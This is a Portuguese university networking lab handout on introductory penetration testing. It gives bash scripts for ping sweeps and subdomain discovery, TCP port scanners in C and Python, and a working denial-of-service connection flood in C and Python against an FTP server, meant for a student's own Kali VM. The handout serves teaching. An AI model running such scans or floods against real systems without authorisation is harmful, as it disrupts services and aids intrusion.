Você está na página 1de 5

Engenharia de Computação

Laboratório de Redes de Computadores I

Aula Prática 12 – Pentest parte I

Objetivo: Conhecer e utilizar algumas técnicas e ferramentas de penetration


testing.

Kali Linux (imagem para VirtualBox):

Alterar a configuração de Rede para que a placa funcione em modo bridge (guest e
host estarão na mesma rede) e instalar o Oracle VM Extension Pack. A máquina
virtual (guest) será o alvo e a máquina (host) o atacante.

Descrição:
1) Qual o endereço IP do seu computador (máquina host)?
2) Entre na máquina virtual do Kali, usuário e senha kali. Qual o endereço IP
da máquina guest? Ela está na mesma rede da máquina host?
3) Teste a conectividade entre as máquinas guest e host, realizando um ping.
4) Se conseguiu a conexão entre as máquinas, faça um script de varredura de
IPs ativos na rede. Na máquina host, crie um arquivo texto pingtest.sh e
coloque os seguintes comandos:
#!/bin/bash
if [ "$1" == "" ] #usuário não passou argumentos
then
echo "Exemplo de uso: $0 10.0.0" #solicita argumento ao usuário
else
for host in {1..254};do #loop para pingar cada edereço de host na rede
ping -c1 $1.$host | grep "64 bytes" | cut -d ":" -f1 | cut -d " " -f4
#imprime somente os IPs que retornaram o ping
done
fi
5) Salve o arquivo e altere a permissão para execução:
chmod +x pingtest.sh
6) Execute o arquivo, passando como parâmetro o IP da sua rede (só com o
ID da rede, sem a parte de host, como exemplificado a seguir):
./pingtest.sh 192.168.0
7) Os IPs que aparecem na tela estão ativos e responderam ao comando ping
do script. Esse é o primeiro passo para saber quais IPs estão ativos numa
rede. Fazer esse script em uma rede IPv4, principalmente com máscara /24,
é bem fácil, são apenas 254 hosts, mas para redes IPv6, conseguir varrer
toda a faixa de IP de uma rede é bem mais demorado, pois são inúmeras
combinações nos 64 bits de host (/64).
• Quantos IPs estão conectados na sua rede?
• Consegue identificar de quais equipamentos são todos?
• Você pode usar esse script para descobrir eventuais invasores
(“ladrões” de Wi-Fi, por exemplo) na sua rede?
8) Outro script útil, é descobrir a árvore de subdomínios dentro de um
domínio e seus respectivos IPs. Na máquina host, crie um arquivo texto
parseurl.sh com os seguintes comandos:
#!/bin/bash
if [ "$1" == "" ] #usuário não passou argumentos
then
echo "Exemplo de uso: $0 URL" #solicita argumento ao usuário
else
echo "Subdomínios em $1:"
rm index.html #remove arquivo index.html, se já existir
rm lista #remove arquivo lista, se já existir
wget -q $1 #requisita o arquivo index.html ao servidor alvo
grep href index.html | cut -d "/" -f3 | grep "\." | cut -d "\"" -f1 |
grep "$1" | sort -u > lista #cria uma lista dos domínios encontrados
for url in $(cat lista);do host $url;done | grep "has address" | sort
-u #para cada domínio da lista, busca o IP correspondente
fi

9) Salve e altere a permissão, como feito anteriormente. Execute o arquivo


para verificar os subdomínios de cefetmg.br ou de algum outro alvo:
./parseurl.sh cefetmg.br

10) Verifique os subdomínios e seus respectivos IPs. Responda:


• Que tipo de informação útil esse código oferece para um pentester
ou para um invasor?

11)Outra ferramenta importante é saber analisar o arquivo de log do servidor


web, por exemplo, o access.log do Apache (/var/log/apache2). Veja o arquivo
de log fornecido pela professora. Responda:
• Que tipos de informações você consegue identificar nesses
arquivos?
• Quais informações você considera úteis para o administrador do
servidor web?
• A análise desses arquivos pode auxiliar na identificação de
tentativas de ataques ao servidor web? Como?

12)No Kali, máquina guest, instale um servidor FTP, seguindo o tutorial do


endereço: https://linuxtiwary.com/2019/02/16/how-to-configure-ftp-server-on-
kali-linux/ (No passo 2 do tutorial também precisa habilitar a linha
chroot_local_user=YES).

13)Edite o arquivo /etc/vsftpd.chroot_list, colocando o usuário kali, salvando


e fechando o arquivo.

14)Reinicie o serviço FTP:


service vsftpd restart

15)Na máquina host, teste a conexão com o servidor FTP (coloque o endereço
IP da máquina guest e depois entre com o usuário e senha kali):
ftp 192.168.x.y
16)Se conseguiu conectar, saia com o comando quit

17)O próximo passo é a varredura de portas TCP para verificar portas abertas
em um host. Para isso, é preciso saber trabalhar com socket. O código em C a
seguir cria um socket para verificar se as portas em um determinado alvo
estão abertas ou não. Na máquina host, crie o arquivo portscan.c:
#include <arpa/inet.h>
#include <netdb.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char *argv[]) {

int meuSocket; //variável que representa o socket na máquina


cliente e que recebe um inteiro que representa a porta
int conecta; //recebe 0 se a conexão com o servidor foi
feita com sucesso
int porta; //indica a porta do servidor a ser conectada
int inicio = 0; //menor valor de porta possível
int fim = 65535; //maior valor de porta possível
char *destino; //variável que recebe o endereço IP passado
pelo usuário

if(argc < 2) //verifica se o argumento, endereço IP do


servidor, foi passado pelo usuário
{
printf("Exemplo de uso: %s \"IP_ALVO\" \n", argv[0]);
exit(1);
}

destino = argv[1]; //passa o IP passado pelo usuário para a


variável destino

struct sockaddr_in alvo; //estrutura do socket, que recebe os


dados do servidor a ser conectado e o tipo de socket

//loop para incrementar o número de porta e tentar conectar em


todas as portas que estiverem disponíveis no servidor
for(porta=inicio; porta<=fim; porta++)
{
//cria o socket
meuSocket = socket(AF_INET, SOCK_STREAM, 0);
alvo.sin_family = AF_INET;
alvo.sin_addr.s_addr = inet_addr(destino); //passa o
endereço IP do servidor
alvo.sin_port = htons(porta); //passa a porta
do servidor

//conecta com o servidor


conecta = connect(meuSocket, (struct sockaddr *)&alvo,
sizeof alvo);

if(conecta == 0) //se conectou ao servidor, significa que


a porta está aberta
{
printf("Porta %d - status [Aberta] \n", porta);
}
close(meuSocket); //fecha o socket
close(conecta); //fecha a conexão
}

return 1;

18) Salve, compile o arquivo e execute, conforme os comandos a seguir.


Substituta o IP do comando pelo IP do alvo (pode ser a máquina guest ou
um roteador ou outro servidor que você tenha na sua rede).
gcc portscan.c -o portscan
./portscan "192.168.1.1"

19) Responda:
• Quais portas TCP aparecem abertas?
• De que aplicações são essas portas? Consulte
https://www.iana.org/assignments/service-names-port-numbers/servic
e-names-port-numbers.xhtml?&page=1.

20) Esse código pode ser feito em Python da seguinte forma. Na máquina host,
crie o arquivo portscan.py:
#!/usr/bin/python
import socket, sys

for porta in range(1,65535):


meuSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
if meuSocket.connect_ex((sys.argv[1], porta)) == 0:
print("Porta",porta,"[ABERTA]")
meuSocket.close()

21) Altere a permissão do arquivo e execute com os comandos a seguir.


Substituta o IP do comando pelo IP do alvo.
chmod +x portscan.py
python3 portscan.py 192.168.1.1

22) Agora faremos um código de ataque de negação de serviço, DoS – Denial of


Service, para deixar o servidor FTP da máquina guest indisponível. Na
máquina host, crie o arquivo DoS.c com o seguinte código:
#include <arpa/inet.h>
#include <netdb.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char *argv[]) {

int meuSocket; //variável que representa o socket na máquina


cliente e que recebe um inteiro que representa a porta
int conecta; //recebe 0 se a conexão com o servidor foi feita
com sucesso
int porta = 21; //porta FTP do servidor alvo
char *destino; //variável que recebe o endereço IP passado pelo
usuário
if(argc < 2) //verifica se o argumento, endereço IP do servidor
FTP, foi passado pelo usuário
{
printf("Exemplo de uso: %s \"IP_ALVO\" \n", argv[0]);
exit(1);
}

destino = argv[1]; //passa o IP passado pelo usuário para a


variável destino

struct sockaddr_in alvo; //estrutura do socket, que recebe os


dados do servidor a ser conectado e o tipo de socket

while (1) //executa sempre, até o usuário clicar CTRL+C


{
//cria o socket
meuSocket = socket(AF_INET, SOCK_STREAM, 0);
alvo.sin_family = AF_INET;
alvo.sin_addr.s_addr = inet_addr(destino); //passa o
endereço IP do servidor
alvo.sin_port = htons(porta); //passa a porta
do servidor

//conecta com o servidor


conecta = connect(meuSocket, (struct sockaddr *)&alvo,
sizeof alvo);

if(conecta == 0) //verifica se conectou ao servidor


{
printf("Tornando o serviço FTP indisponível... %d \
n", meuSocket);

}
}
return 1;
}

23) Em Python, o código anterior seria:


#!/usr/bin/python
import socket, sys
porta=21
while True:
meuSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
if meuSocket.connect_ex((sys.argv[1], porta)) == 0:
print("Tornando o serviço FTP indisponível... ")

24) Compile (gcc DoS.c -o DoS) e execute o código do DoS (./DoS


192.168.x.y) e tente conectar ao FTP novamente (ftp 192.168.x.y).
• Conseguiu conectar? O quê aconteceu?

25) Pare de executar o DoS com Ctrl+C.

26) Envie suas respostas pelo SIGAA.

Você também pode gostar